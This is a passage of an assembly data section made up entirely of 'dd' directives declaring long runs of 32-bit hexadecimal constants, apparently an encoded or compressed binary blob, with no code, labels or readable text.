		dd 0A7EE31AAh, 0E762CC00h, 0ADC3F40h, 0A4C200D7h, 0ED336C05h
		dd 5A008EFEh, 37FB39B1h, 3135B9h, 0D9A56F3Bh, 40F7810Eh
		dd 5978E314h, 0CAE900C8h, 0E85C683Ch, 0FF271390h, 53580EAAh
		dd 0B3FD8460h, 4C7A3489h, 95669B00h, 0EEF12028h, 0EB9707FFh
		dd 0D0B4AB6Bh, 0AEFB1D40h, 67F71F00h, 99A170AAh, 167C82h
		dd 2FCB27Bh, 22E12410h,	0A260E400h, 3E6ED42Bh, 7D0FE54h
		dd 974B3C46h, 4857E0A0h, 0DA005B2Ch, 0CC4E844Dh, 9E5A2Bh
		dd 9925F568h, 0E989E66Eh, 3B8B0802h, 405642C5h,	0FAAAA2h
		dd 0ABE52227h, 5237C10h, 7B8CF00Fh, 0BC1C04Eh, 2E7391BBh
		dd 34E55Fh, 756FF7CEh, 0D700618Bh, 0C8D15D60h, 9D53D3h
		dd 0F52A4A3Dh, 313ADA70h, 0E9AC38h, 41215F5Ah, 723C3FF3h
		dd 877523h, 8CBC72A3h, 8B60986h, 0EED6A600h, 85839575h
		dd 5C0A038Bh, 0BA2346D4h, 0ADCF2780h, 264B5807h, 0B5A0379Ch
		dd 1C0170CEh, 80F30DA8h, 1BDEE6F8h, 2900BED3h, 0B6956AB8h
		dd 7BB90D5h, 363A74E2h,	1514104Dh, 8700A8CDh, 0B5EA4730h
		dd 180F4C8Ah, 183658BCh, 0D600B9C3h, 4E024D88h,	67867Dh
		dd 9F48E6A3h, 8241EDD5h, 441ADA01h, 97AFB07Eh, 58A5C8C3h
		dd 9EA20043h, 0D3522D94h, 0B8007B08h, 4D506859h, 0A0ABE4F0h
		dd 0A866D4h, 478FCD35h,	93E958D5h, 735A0F00h, 536BF998h
		dd 0A880013Eh, 511C717Bh, 0F0F6D888h, 0B81D0300h, 0F4C94CF9h
		dd 6F79CFh, 91A41820h, 2D25ECFBh, 8549501h, 0EF87F2B5h
		dd 59C8A0FBh, 6EB71D5Ch, 5D2480D7h, 0D8B9B158h,	2C043Eh
		dd 73BE1E05h, 396751Dh,	49830871h, 79B00DBBh, 4D018B37h
		dd 0D9052DABh, 3120983Ah, 0FDA83994h, 0D0486300h, 8E886965h
		dd 530083F6h, 68233B59h, 509290h, 604855C5h, 0E8EF8EA3h
		dd 41313D01h, 0CCB1CBEDh, 0AF8570h, 930956B9h, 39DEE835h
		dd 0EF59AA00h, 0B40AA548h, 3B6200C8h, 8FCC1E60h, 1D00C09Dh
		dd 0C7A05798h, 1F06B865h, 40E324D5h, 0AB05260Ch, 2F00C491h
		dd 0D115C5ADh, 0E2BD76h, 20EC4967h, 712DF977h, 19ABD503h
		dd 0A388E98Ah, 0CD18F066h, 7AF0E6Fh, 0B1C0B640h, 55D2AC47h
		dd 30C6A00h, 7BB88587h,	0E409006Eh, 0C67550DEh,	0B9008B2Fh
		dd 0FE1E017Dh, 73EA8C06h, 46D7000Ah, 54CD4D51h,	0EE00892Ah
		dd 5A8496F8h, 78F2E89Dh, 0C9EC00DBh, 9399E62Eh,	142AF68Ch
		dd 7B00A45Fh, 913F02EDh, 190155h, 0D2FF477Fh, 0BF8B6909h
		dd 1D635D07h, 9C835172h, 0E1B0D0D8h, 5F600090h,	47963265h
		dd 0A80017EDh, 0BDF1D5F3h, 32F73D9h, 0B76816E8h, 1D8BE0CDh
		dd 0CCB843C0h, 0B1C32500h, 733ACFCh, 168912B6h,	0F5430161h
		dd 876CC975h, 0E73BAB20h, 152FE03Eh, 0FEFF5Dh, 90F1A27Eh
		dd 8345F976h, 36505B00h, 30EC7531h, 7BF30035h, 6507C406h
		dd 100BC21h, 0AF5E7815h, 48D9F8h, 0C6D3B551h, 4EE09FF6h
		dd 0A03C1AE0h, 795B80F7h, 9585E988h, 477700FEh,	59DD0B70h
		dd 0C80B692Ch, 6405CEh,	512A73B8h, 0B0E907CDh, 901B0414h
		dd 31C2565h, 0D6744B0Bh, 4095D27h, 0F316400h, 50008648h
		dd 0D97644DFh, 0F7B9FFh, 0A782E5D0h, 7AB7BC83h,	0AB019470h
		dd 589D95D3h, 4EE8DB1Bh, 98180FA6h, 47607E1Fh, 7FD5C8C3h
		dd 111E8300h, 0FB488F6Fh, 333A00EBh, 0E29135BFh, 3800B7D5h
		dd 9DC67D08h, 114D2Bh, 0A33ACA12h, 0A7F8E392h, 4E01E8E4h
		dd 0DCAA28B3h, 3E3BB81h, 461E52F8h, 28009F2Ah, 1F619B20h
		dd 7D8AA19h, 6D204B6h, 30F57754h, 0E683E30Ch, 2CDAB03h
		dd 0B0D7F421h, 89716Ah,	0E55FD4Bh, 5FE3FAC9h, 0A19E3600h
		dd 9695B973h, 0CFB6002Eh, 0FE8F1BCAh, 0BD48D330h, 0EEF30E8Ah
		dd 0ED01175Ah, 3C4E6092h, 5E30E0D9h, 407400D5h,	12B0E258h
		dd 9000938Ah, 18CCFA7Ch, 0B50F49h, 0EA17F832h, 4765EBC4h
		dd 0F2DDD700h, 5ADF83CDh, 0E7FC6Eh, 259273FCh, 1DCC9A7h
		dd 0A8F9400h, 0BE33E35Bh, 0FB98008Ch, 0A774BBBAh, 9507B5F3h
		dd 9C3D76AAh, 53CD7E80h, 886600DBh, 3332B18Ch, 0F307E4D0h
		dd 0F4CF40E9h, 48684C0h, 7CA316B2h, 0EB1F0079h,	49900E41h
		dd 82BF5603h, 0D0947D72h, 1E6B135h, 0B89ABCA2h,	301E4752h
		dd 7C00FAD6h, 547BC272h, 82C11Fh, 46521570h, 0D52C3756h
		dd 3F34980Fh, 0C74940B9h, 434ECBh, 0C828AF26h, 7635B00Ah
		dd 8097863Eh, 778FCE6Eh, 72B72196h, 954F1F16h, 0C12A1E8Eh
		dd 29A056CBh, 9032DAh, 8919F327h, 0B5053Ah, 56D03844h
		dd 0D2CE349h, 421AD300h, 1FC799B0h, 93D102C8h, 8EAFC912h
		dd 19CFAFC0h, 28A50126h, 0A9A8000h, 1E96056h, 0F692712Bh
		dd 8331C7A4h, 298A792Eh, 7CD1D1A0h, 17821085h, 6080C085h
		dd 2C584F9Fh, 5151DE5h,	0AA41545Fh, 25356983h, 0E7E4830h
		dd 9ECBB69Ch, 0DA79D0D8h, 0A5071E00h, 0D86B4997h, 883D60D3h
		dd 57DE0C36h, 857D5900h, 6A34829Eh, 80554E65h, 0DEDAB49Dh
		dd 43B01E00h, 2763AA9Dh, 207C01CCh, 22759FDFh, 8EB760BDh
		dd 0AC9ECA05h, 1F80D2C7h, 0F77BE8h, 2FC56675h, 93E3E96Dh
		dd 0E20E5CE4h, 0A067A5A0h, 0F00164F5h, 147135h,	0D8FB87B4h
		dd 0D3BF3C8Ah, 810E0ECEh, 0D7663260h, 0B691080h, 719AE6ACh
		dd 0DF9EC300h, 73C15025h, 0FD910016h, 1BF315FCh, 0B500D7EEh
		dd 6D5DB6A9h, 0A0FBD9h,	669F986Ch, 0E01550EFh, 0DBF4AD03h
		dd 0C0BC7E88h, 7A7A549h, 39B36A46h, 9C7A21h, 0B6536377h
		dd 54031ADDh, 0FAE35550h, 0A0AE97FDh, 0C06DCEDCh, 8D2500CFh
		dd 0F7CCDB21h, 54012392h, 0E328958Ch, 0E7F8125Dh, 5AA50057h
		dd 0AD715F32h, 37FABAD0h, 9D743F00h, 9BAA6F26h,	55700050h
		dd 0FE240AE9h, 5C006AA9h, 3329B844h, 78A85Eh, 0CAB63437h
		dd 13609B5Dh, 368B2814h, 0DE621ED4h, 0BB9A4040h, 1C8DF72Dh
		dd 0EAFAECDh, 338022ACh, 809378C5h, 0BF8FD600h,	8ED961CFh
		dd 5B600F6h, 9F9471FDh,	0A3000B49h, 0A8F39DC5h,	39032C4h
		dd 0FC94E6Ah, 0E4A05CF8h, 0EA03FC1Bh, 44C59CE9h, 0A127A1E5h
		dd 0B8CA65F8h, 8DD20058h, 83629194h, 3D015BCDh,	22AADB5Ah
		dd 63F416EDh, 5BD4CDDh,	8B1A0778h, 0F719929Eh, 89E18EA7h
		dd 0F866E902h, 0F517A377h, 0A800C607h, 884FD4C0h, 0AB841D89h
		dd 0E0C340A9h, 23298174h, 76309472h, 985440EEh,	44911C37h
		dd 0CF1600D5h, 71725635h, 3996848h, 2288D41Ch, 0F971008Dh
		dd 0A9F0DD24h, 2F00D73Ch, 0DCE5BE38h, 37C8ED5Ch, 60295A23h
		dd 6318876Dh, 832B370Bh, 0D0AA807Ch, 0DC4AA8h, 9CC64CBBh
		dd 2CD6AD3Bh, 0F4E6D00h
		dd 97E2FDACh, 0F0CA50AAh, 0D77F1F4Ch, 6B2640AFh, 8AB4533h
		dd 0DCBE9500h, 76DAD907h, 0C1CF00B8h, 16EEEC7Dh, 5F76973Fh
		dd 0AC573800h, 0F265098Fh, 67E71BBh, 849CB35h, 0C848112Eh
		dd 0A28D00FAh, 259F6552h, 80CA3E61h, 0E5FB7B00h, 0B00E5376h
		dd 0BBAEBA1Dh, 0A3174C80h, 0B2BEFFh, 3C1B3D02h,	0D80338C6h
		dd 6D1FFE00h, 0C72DB763h, 967648h, 0C167418Dh, 0A9AD4975h
		dd 0DE9E150Fh, 0FE36A039h, 61514Dh, 487688AFh, 873FF5CAh
		dd 20B90729h, 0C3245660h, 25364480h, 0AE1CDF06h, 1D887950h
		dd 83E9D722h, 0D0CE7407h, 0C0AF57C3h, 0E0FA986Fh, 49768601h
		dd 0A4E1B275h, 0DA194200h, 0D8687003h, 9A9364AEh, 178A609Fh
		dd 0EC9D073Dh, 0E079B56Dh, 579A4104h, 7767120Eh, 27AF8464h
		dd 0C2759E81h, 8C5BC8h,	6EE617EBh, 147895CAh, 28821B30h
		dd 92FAD9h, 96139DDDh, 1AA1D3EFh, 407DA300h, 56648037h
		dd 0D763183Dh, 225C8C7h, 6D3B0400h, 0FFDBE575h,	184C7684h
		dd 0B9C7B6C3h, 9B3EA3E6h, 41D281D0h, 0BE7AEE4Eh, 6080B2E2h
		dd 2B23BCCCh, 41809933h, 80EFC617h, 0CD9DE9A8h,	5457F43h
		dd 890DD8A9h, 7EF040D0h, 0FDC22B2h, 5200BDE8h, 0AF3F569Eh
		dd 14863474h, 0B467E3C2h, 0F2A7C900h, 1EF0D646h, 0B3A0CD00h
		dd 0AC39230Fh, 0F51C0287h, 2420DF91h, 0E0182440h, 5357ED0Ah
		dd 0C75820CFh, 500D43C3h, 0CC003A30h, 17BBA682h, 0A08AB71Dh
		dd 4024CFD0h, 0D951749Fh, 39040C2h, 67058095h, 879E4869h
		dd 0F6B0DC41h, 157049CCh, 1A5E0041h, 0B77517A6h, 0CE00E891h
		dd 2D1804ABh, 1B05670h,	98F9811Fh, 876BEEB3h, 11D57D40h
		dd 0BB0CDCBAh, 4179A6h,	471BA4A5h, 654DF69Eh, 801DED04h
		dd 7080664Eh, 34A8Ah, 5AF33E92h, 5DB9A6E8h, 0D02FC00h
		dd 3A20A4BEh, 9AEA0F7Fh, 31A0D7D5h, 3062D1D9h, 512CAD12h
		dd 4F2D1441h, 45F4576Fh, 0F1FE236h, 0B1AFA865h,	0D5FFCAA0h
		dd 3B1725C3h, 1500EB10h, 0EF589A70h, 0FDB30094h, 309937C4h
		dd 400F333h, 359B036Ch,	6934077h, 2AA13F85h, 0F20168AFh
		dd 0C9ECB3D1h, 9A415412h, 3CDCEDB6h, 5D140077h,	6CCEC3CAh
		dd 6405F259h, 0ADCF01E6h, 0EBFF8400h, 7E5F12Eh,	732D7B92h
		dd 4A06020h, 0F61C5433h, 0C0057B1h, 5F443745h, 0F46A000Bh
		dd 2AE62207h, 5C00201Ah, 32F5B9Ah, 79A716h, 8E6AABA1h
		dd 9B173FAAh, 14306700h, 4E2B98CAh, 63727Ah, 73207DC4h
		dd 5A89C727h, 6A8DB800h, 0F59537C0h, 5F8E3EF8h,	0AC40DE01h
		dd 80BD7DE5h, 53376D30h, 63CA1Dh, 0A9C147A8h, 7F910B97h
		dd 1A3ED601h, 0D8B857BDh, 0A08179D9h, 55205E4Eh, 3612E0FEh
		dd 438C0900h, 70976AB4h, 0CF2800F0h, 0B04AFF4Fh, 5C006DBCh
		dd 9DB6DC1Ch, 0C1243E5Fh, 3D7920B0h, 55509C66h,	0F1D301BBh
		dd 5FE2572Bh, 0FB60ED0h, 17C24529h, 75E3C360h, 8360E61Bh
		dd 0A86C69F0h, 0E55F0379h, 60720A45h, 89028098h, 95BF9A3Bh
		dd 0BC264Ch, 8DA5769h, 1AD53Dh,	0A24F5D3Ah, 1DF3A80Bh
		dd 0B5927E00h, 8DAA4DC8h, 1A9C01EEh, 85CB0A4Eh,	239040D4h
		dd 79C0FF36h, 43DAE9FAh, 0F25A00B0h, 6CA7A6EAh,	2C396591h
		dd 0D87C87ABh, 14C0F5A0h, 0AFA4BCC5h, 6F3D7804h, 37DF5300h
		dd 463851B7h, 1EC100E9h, 4DD9588Bh, 966BD2Eh, 225430h
		dd 27638147h, 1CE0F429h, 36D89007h, 68CA3C84h, 0A560CAD0h
		dd 46636178h, 0C668804Ch, 0D3A0732Ch, 0C08C240Fh, 0A3B60F63h
		dd 0B99F9C01h, 6B0C40DDh, 1B3ED080h, 0DE97109Ah, 8418EF8Ah
		dd 41048377h, 18B02517h, 0D614FC00h, 0A8B38D40h, 0A089120Ch
		dd 0A187FF18h, 24506C30h, 88D3B97Bh, 3CA1C7AAh,	0D7245127h
		dd 4B0C40DAh, 0D2627B2Ch, 11822390h, 38605103h,	0F0C4181h
		dd 2A245E4Fh, 5B0C1841h, 18D12F10h, 6CB650FEh, 8449F107h
		dd 0C4D9FCCCh, 2186E319h, 18412B4Ah, 5308AFF7h,	51130CA9h
		dd 40AA6424h, 758A5F3Ch, 5D5CD271h, 7CEB18B1h, 45FE1818h
		dd 0E7FF6080h, 14D419C4h, 1F922800h, 8891D94Ah,	3BD4683h
		dd 0AE89825h, 0D0530004h, 895D7B4Dh, 0E51CA3E7h, 65C7C441h
		dd 0ADC0A176h, 0B457F4h, 0C61D169Eh, 0B0E0F5E9h, 0E8B66730h
		dd 5097086Bh, 109DB081h, 0F284A7h, 0E58F06E1h, 1D5C8F0h
		dd 0C488AE0h, 0E3091E95h, 43E7A11Dh, 3691BC47h,	2F660068h
		dd 0E5AAFEE2h, 0C746D400h, 0BB0AECC9h, 0FA4D014Ah, 1F0129D2h
		dd 3D89F8C6h, 1CA56DE4h, 0F7C45F42h, 3075C001h,	0CCDDE91Bh
		dd 0ACF6526Ah, 250DBB02h, 80A79605h, 0FB324494h, 2A50FCB0h
		dd 3F8C8B62h, 0EB3C9122h, 80C6279Ch, 0FB31BBA2h, 33148110h
		dd 81C85F3Eh, 0EB72E4ADh, 0A0807EF5h, 1938FF02h, 4E3A8682h
		dd 5729E008h, 14B00AFCh, 345FD62Eh, 5FC0DB27h, 130037A5h
		dd 0E3FAF7CFh, 5C3CF038h, 3B005DA1h, 62DCD68Fh,	0AD005E24h
		dd 69E2FCCBh, 2EBC3793h, 71D6DDAh, 0A0DD6189h, 2059DF8Dh
		dd 39B0490Ah, 4000BF17h, 0B33C0CDEh, 38B007Eh, 0FD569887h
		dd 95FAB0CFh, 0D6665E07h, 405E5961h, 470C8DE4h,	7218C782h
		dd 0B3A9004Fh, 84EF97D0h, 6B91EB80h, 0A714A82Ch, 1FD5B00Ch
		dd 93415840h, 60AC73B3h, 0DFE7D8h, 0BA5E020Eh, 0C417428Ch
		dd 920C5800h, 7F458612h, 0E20001Dh, 0A773B6AAh,	6EECDD62h
		dd 0BC889360h, 6E3A109h, 0AD529739h, 600A16Ah, 4B54298Bh
		dd 1DE2CE0h, 0B23A53A5h, 9F5F26FFh, 62009220h, 8A396A4Dh
		dd 0E20701C9h, 37324EA2h, 0F02D61D9h, 0AE5758B2h, 0F0007B84h
		dd 6F517D72h, 620CD1h, 9F5365F4h, 3B132AE0h, 18665B30h
		dd 3BED386Ah, 0A20069DEh, 0DF93179Ah, 0F100EB23h, 4E90EA78h
		dd 7D73522Ah, 2F560F2Bh, 0B801FAC6h, 0F25D783Bh, 5A632ED0h
		dd 0D8859250h, 390CE1Ah, 3A62A99Ah, 0F10088A5h,	4243C0BCh
		dd 81DEF9h, 0B8DC83AEh,	0A7FA7E07h, 15001490h, 3D45FFCEh
		dd 5AAAE3h, 0F09338EEh,	72A2A388h, 42807B50h, 0D4AE0101h
		dd 5B339C45h, 31020h, 0B4DFD50Ah, 18BF9725h, 71BABD00h
		dd 4D38933Ah, 0A06560C0h, 0CE1362ADh, 0A5A01B00h, 0B244482Ch
		dd 1E5803EBh, 99720823h, 3ED861DBh, 5C002282h, 0A8C3356h
		dd 0A62A5B4h, 75C904C2h, 0A442CC8h, 0C749937h, 0C7B1B408h
		dd 9AE60E02h, 98211174h, 23EFDE30h, 0ED8C7E68h,	0F54861h
		dd 392193CDh, 69B0155Ah, 44004892h, 0C851A86h, 0FA9FE149h
		dd 5E0A00B1h, 7B5AE85Bh, 0A551D437h, 6D4CA8E0h,	540093FCh
		dd 1999C8BBh, 605CD636h, 8F0F7035h, 61039E9Ah, 3C25EAA7h
		dd 42A6D862h, 23361713h, 1BF71C0Eh, 93D051A1h, 0D70A521Eh
		dd 0A07B1CF0h, 66F5AF82h, 0A8144301h, 226833h, 63041260h
		dd 8DB7E2D3h, 72AA542Eh, 0E4006228h, 0AEF487D5h, 95DB07Dh
		dd 9C63E41h, 0A0995020h, 55034C48h, 5D3C7E56h, 73F909B2h
		dd 6E0ADCD3h, 0EA585850h, 0DB1F7507h, 67C6B213h, 6A970191h
		dd 0BE7652D2h, 7D62FCAFh, 16980C07h, 0E28F9A3Fh, 4875B6B8h
		dd 70FC7AD0h, 59C00436h, 0C0E09A4Dh, 3E2F219Ch,	0A0F2BD31h
		dd 6EB73Ah, 584D9848h, 860966A8h, 20A2231Fh, 378DDE90h
		dd 5531DE96h, 9306C86Fh, 98EAC74Eh, 0C118357Dh,	0E8E84976h
		dd 716000DBh, 4C5BE2A2h, 0EA3009A4h, 0D213F88Ah, 0DD920627h
		dd 0A8D920CDh, 7CA6C10Ch, 56B209Ah, 0FAA4C77Ah,	418400DBh
		dd 11905BC9h, 0DEAC875Bh, 0EEC11877h, 7144314Bh, 2D127000h
		dd 61FBC35Dh, 6A9C245Fh
		dd 863D8434h, 75A20099h, 0E0D29DEh, 81EE67B8h, 4522D0F8h
		dd 0F6B97700h, 357ED326h, 6CC130C4h, 4A096440h,	75C8ED18h
		dd 34C2B111h, 489B584h,	31729808h, 0DF163B9h, 7334C8EFh
		dd 2E1761Fh, 3E3DE0ABh,	0A0A0BE7Eh, 4BAE0BFAh, 0CA476C00h
		dd 4C1DC440h, 9DE10014h, 5C45997Dh, 0E505080Ch,	5879E038h
		dd 0E2DD845h, 3BEF0400h, 4D5623B9h, 24007C5Fh, 0D51F4754h
		dd 0E809B14Eh, 81779921h, 0EC2D4368h, 819CB8E1h, 0A3744337h
		dd 48D82694h, 0EA241EB6h, 71AC7CE9h, 0BAD34D00h, 57C012h
		dd 0D9CA2ED6h, 0A39C6EC3h, 0C420BC49h, 0C8109B42h, 43A9E609h
		dd 0AF980400h, 0A0A86310h, 9C01FA31h, 2B7F82AEh, 30DC78D2h
		dd 0B8D0A36Dh, 1C9B3A43h, 810C5D5Ch, 0E087934h,	80E7E98Eh
		dd 5A13CA51h, 3D940A5h,	0D3CB2347h, 10769093h, 410E2B01h
		dd 3308BC34h, 3048C5D1h, 68844D43h, 0E48242Ah, 36EED7D0h
		dd 2CA97C8Eh, 309FB906h, 30BD6601h, 0A34E4F12h,	965A9842h
		dd 20486C0h, 3E9FD949h,	484008CEh, 4B9827C0h, 128FD49h
		dd 123411ACh, 3C60F7E3h, 729A04C2h, 807D67B9h, 53EB0D20h
		dd 3F9F7500h, 77D0CC92h, 0DFFB00F2h, 4474853Bh,	0A9002896h
		dd 8478E103h, 73B11B10h, 0A1544CF5h, 34C03445h,	0CF50103Bh
		dd 219DC99Ah, 0A4C3E6B8h, 376030h, 45A5C7DCh, 3F72A77Dh
		dd 3B36D900h, 0CD9FFE0Ah, 9B120927h, 9B0323F5h,	36E02441h
		dd 9B85846h, 0E67C7098h, 49D0F207h, 9593C90Fh, 0D8FF9A3h
		dd 626060h, 0C6A0F97Ch,	8734FF6Fh, 0A535FE00h, 3D1284B5h
		dd 0D4F60018h, 90B2DEE4h, 3613B8D0h, 6040790Dh,	0AE6D420Ch
		dd 9360B7F2h, 0E4002C37h, 0D4095CEBh, 5F8C7Ah, 65F7A19Dh
		dd 0D39F776Bh, 5AB90D00h, 228FB3C9h, 2A6100E8h,	3C93BCADh
		dd 0AF038791h, 0F813BE0Bh, 9004B078h, 478038EFh, 592007Eh
		dd 3F36DE30h, 0FC009339h, 2297487Dh, 9E8BF8h, 75117A25h
		dd 5E6D8A1h, 6826BD03h,	0A049C2B8h, 0F1096Bh, 3E610486h
		dd 0FC4ECF2Eh, 65750600h, 0D5E1B995h, 7C26980Fh, 59EE008Ch
		dd 4B5E8AACh, 802C66F7h, 9A009CCAh, 0BEBD0173h,	0D5095067h
		dd 59040046h, 32D0EF45h, 50EC0802h, 13613CA9h, 0B03FB8BBh
		dd 0E1420076h, 0FDEEB31h, 0AF00BCB3h, 21285B89h, 30A82A7h
		dd 6C885212h, 61981118h, 350359B7h, 78C8495Dh, 62B05876h
		dd 543FA74h, 257A2B72h,	0A88486A8h, 0C290F700h,	84B92CEh
		dd 0F127003Bh, 4D1346BDh, 0E0015960h, 0EA7930E3h, 6FD00966h
		dd 9B6B003Bh, 6C182AAEh, 0BC00ACAFh, 0E5EF6233h, 0FAF18503h
		dd 48C0055h, 12E1E305h,	530079CEh, 29D70F70h, 5ACE2FBh
		dd 46BA7A28h, 0E1440021h, 0B3928FC2h, 0CB000D43h, 1759674Eh
		dd 5C0997E8h, 0B27C54h,	0E802F2Ah, 0E015008Fh, 0DB2DC16Dh
		dd 17003B04h, 6AE6E49h,	638C51h, 5759A9FFh, 0B42BE1BEh
		dd 549AEA00h, 61FC0BFEh, 2C1F0005h, 0F6AD52E2h,	9F01107Bh
		dd 4445D1DDh, 0A040653Fh, 0A24F09Ah, 25A7078Dh,	0C2DB0E58h
		dd 0D7E393E0h, 0AC882BC1h, 59AA003Dh, 994B3971h, 340E23AFh
		dd 0C0D84465h, 942E1121h, 57C905B1h, 2F2B5F04h,	0F82384h
		dd 0A5B58525h, 23FC3C63h, 5BD77002h, 40054294h,	84720h
		dd 0D9B2B0C0h, 0FFC4533Ch, 2582648h, 0E5E7EB79h, 21544810h
		dd 0DF0B0069h, 0B1D22ED7h, 451FBD18h, 0AC80AF76h, 3D37BC81h
		dd 1DF40183h, 60AA9712h, 435E4CEh, 0D9A1F500h, 63341E0Eh
		dd 902766Fh, 53E31D45h,	4D246420h, 9D30A640h, 0D381E031h
		dd 0B8375059h, 0CF830027h, 0A9245E57h, 0E307F879h, 541C989Dh
		dd 91F54E20h, 5A5C44F2h, 16D4F00h, 0CC346B1h, 5BC538C7h
		dd 0B744A18Eh, 0DF622140h, 0D402D3FBh, 4005F699h, 4D544035h
		dd 68CA60B1h, 28233960h, 2712DB00h, 0F52D3F41h,	24B40343h
		dd 6B3EC85Bh, 221367B1h, 4CDC506Ch, 0C1D921h, 82CA6B6h
		dd 448653D5h, 0BA0195CAh, 3EDC633Ch, 50DD149Dh,	201C1BCh
		dd 7BFC4427h, 7AC74198h, 0C426B1h, 45024B54h, 0E7D4A32Bh
		dd 2848DD12h, 0C301366Ch, 91997628h, 1261275Eh,	0D242C007h
		dd 4FFCA031h, 0DDD68426h, 42931F18h, 62E1C4C1h,	48CB3440h
		dd 9A012042h, 0FB46344Ah, 2460233Fh, 80BF34A9h,	5EFDC2E5h
		dd 1DF33C90h, 0C38145C6h, 0B4B2EC97h, 0F9666130h, 578D29CAh
		dd 0E0C83016h, 0DEA0D0C7h, 1862A855h, 51657C95h, 4A4848EBh
		dd 7EA902EDh, 48BEDD80h, 2434B658h, 11C871E2h, 85C6802Ah
		dd 0FB1B95C0h, 6E685Ch,	21C884EEh, 0FC7FD68Ah, 0EBEADD07h
		dd 41DE0C92h, 49E0EFAFh, 508365E1h, 33392F56h, 4F28E3F8h
		dd 3E354Ch, 0FC4282B9h,	3A71AF13h, 4400B572h, 2331AB38h
		dd 85001F3Ch, 338646CFh, 3B7687D4h, 78482EA4h, 91134C00h
		dd 0C795D917h, 0BDA8206h, 0B0D9F43Bh, 18DC00D7h, 219FC6D7h
		dd 0E5004A94h, 4BD88DC3h, 50C59086h, 99CBCBBh, 23BD67C9h
		dd 0EB6FAC80h, 0AF730D0Eh, 1FD7B02h, 48030CD5h,	8002F1C4h
		dd 0E22404D8h, 0B4606469h, 210593D5h, 659124A5h, 3F4BF701h
		dd 0D437A14Ah, 0FD00E531h, 9E1B6EEh, 1275108Eh,	7B42981h
		dd 808803ACh, 0A008AB5Ch, 0D1E0B600h, 0DD04B8F7h, 1C25025Fh
		dd 8D5213CEh, 9DAFC460h, 0C426E300h, 0D0033C3Dh, 70B00224h
		dd 0F6522DDCh, 0C43F54C4h, 6F3700CBh, 0C78D0495h, 9067EE35h
		dd 60A67EE4h, 0C63BA806h, 964A6B84h, 0E641F3A0h, 873500DAh
		dd 49E31916h, 0B000F4EAh, 5108BED9h, 0B1FC8162h, 36CF0008h
		dd 6EA8AE9Eh, 20110522h, 0BF01CA4Dh, 36292BB0h,	0DDCC438Eh
		dd 2356003Ah, 8B4426A4h, 24263549h, 400262Bh, 1AE73D0Fh
		dd 9E9226B5h, 7ED40C4h,	0C890D5B0h, 67111E0Bh, 0B58800EFh
		dd 138299Fh, 0E1FAA010h, 0D8830971h, 5E0952D1h,	8097F1E5h
		dd 0FC2F1BBCh, 5CF43A9Ah, 1F80FE3Ch, 937B5E59h,	2379B686h
		dd 9E516900h, 0DB6E33CCh, 0ACB00729h, 8A4DD9A7h, 6AA88098h
		dd 0BA84710Ah, 6B074E00h, 0BE590F37h, 3C1D1C3Dh, 7BA64158h
		dd 0D4E73839h, 760047D4h, 4FAE2DE3h, 0F6B5DA42h, 16CE0695h
		dd 20F004BEh, 0D912C300h, 0C65D8E1Ch, 559D02DFh, 57D7A04Fh
		dd 23E2E980h, 1502EC09h, 0A35DEA89h, 3388808Ch,	45E737h
		dd 3438869h, 11832FFBh,	5E002BB0h, 0BF1FA9C1h, 2C32E370h
		dd 3D6C3715h, 3D00EE58h, 0F4017ED2h, 0E30EBCA8h, 0E0362705h
		dd 0ADBE03FEh, 0DD8D006Dh, 6EFF9F3Bh, 7B75BA35h, 5E32401Fh
		dd 0E9012CA9h, 0BA0CEF34h, 0AB4118E6h, 80D23181h, 6BC6B58Ah
		dd 736C006Fh, 0E9C3934Fh, 601FEB52h, 0ABC71845h, 2637A442h
		dd 0D2E3A930h, 284B0ECDh, 0DA67C458h, 0D3E1D3B1h, 40A42DA1h
		dd 4060F8B0h, 73991D00h, 67E053A9h, 0EF5419A6h,	0DCC620A7h
		dd 28A87668h, 0B87944F2h, 91E56621h, 64190049h,	0B5762C40h
		dd 0DC30004Bh, 0AB1575F5h, 8F06F017h, 49AE1A43h, 0C951A0D9h
		dd 402800D9h, 0D40F5B07h, 2B3013A9h, 0E4E719Eh,	0D640216h
		dd 0C19A0196h, 7F7637E0h, 0E1C6950Fh, 14641E59h, 83A86D94h
		dd 98B322D3h, 5A94351h,	39DCC20Ah, 70B83FAEh, 0A2B26800h
		dd 0BD172FAh, 0D8702EC2h, 8FA607A4h, 9980BFF7h,	0B045DC9Ch
		dd 0BF7E1E00h, 0FAD551C1h, 0FE4300C6h, 0CD69CF7Fh, 9A00CB86h
		dd 0FD1CCC20h, 0B11695h, 0DF2A01A1h, 86B33B6Ch,	0CCD1E200h
		dd 0AAB04952h, 0CE0800C1h, 66773C91h, 0B3EC307h, 3A7B8065h
		dd 13943D2Bh, 1C8139E6h
		dd 0D8495180h, 0F47EBEA4h, 0C1C95000h, 0FE6FED02h, 96CA00A6h
		dd 44979215h, 370066D1h, 51E1F680h, 2E349Ch, 7DCB4781h
		dd 0CC8FF74Dh, 0E7D33E00h, 0B7A129ECh, 0E31400B5h, 0AEC0FB33h
		dd 0E5007522h, 47041B01h, 0B3A41Fh, 5F8657C5h, 8C25F66Ch
		dd 0F37D5600h, 321875B9h, 7AC171D5h, 0CC25B857h, 2BA09F69h
		dd 0A8A9000h, 5DFE9C8Fh, 846F0116h, 582FEC59h, 0A8DA30B4h
		dd 20CF3Ch, 6864CBF2h, 0FEF1B9h, 168E823Fh, 66023995h
		dd 800A8D3Eh, 0BD1D842Ah, 0B10BD5h, 3C73CD8Eh, 0DFA83A4Ah
		dd 24202D00h, 0EFCA4570h, 57AC8h, 5222A7DAh, 87CCCDD5h
		dd 0E7D71300h, 0F30F51FCh, 0E2650086h, 1BEBF9F4h, 0BB00DE15h
		dd 842B20C4h, 0E03DFBFFh, 8FA8A0A2h, 0BF8070Eh,	30648098h
		dd 323B28CCh, 8C89AE28h, 5EFEBA07h, 0B55674EAh,	0C65902FCh
		dd 859955EFh, 1881D760h, 7253B00h, 638820A6h, 37031558h
		dd 65009492h, 0ED478CDFh, 51008AF7h, 0C817FFF4h, 399B7A34h
		dd 0DF00503Ch, 0A1537079h, 0D24E382Dh, 2F1C2F0h, 0F446AA48h
		dd 84808A14h, 0CCD46116h, 5380A8ADh, 51D4F47Ah,	60810378h
		dd 0FC6712C9h, 58B20C90h, 0DFFB3A09h, 0A1042CE3h, 0AFCC0396h
		dd 0C18605F5h, 33F955CBh, 20CC4607h, 393F3CEAh,	62E80FBh
		dd 0AE319D49h, 9CA40Dh,	30DAE627h, 0EA8429CFh, 6E090A01h
		dd 6522AF40h, 0CA581822h, 0B3879E0Ah, 602300A4h, 0D235FF8Dh
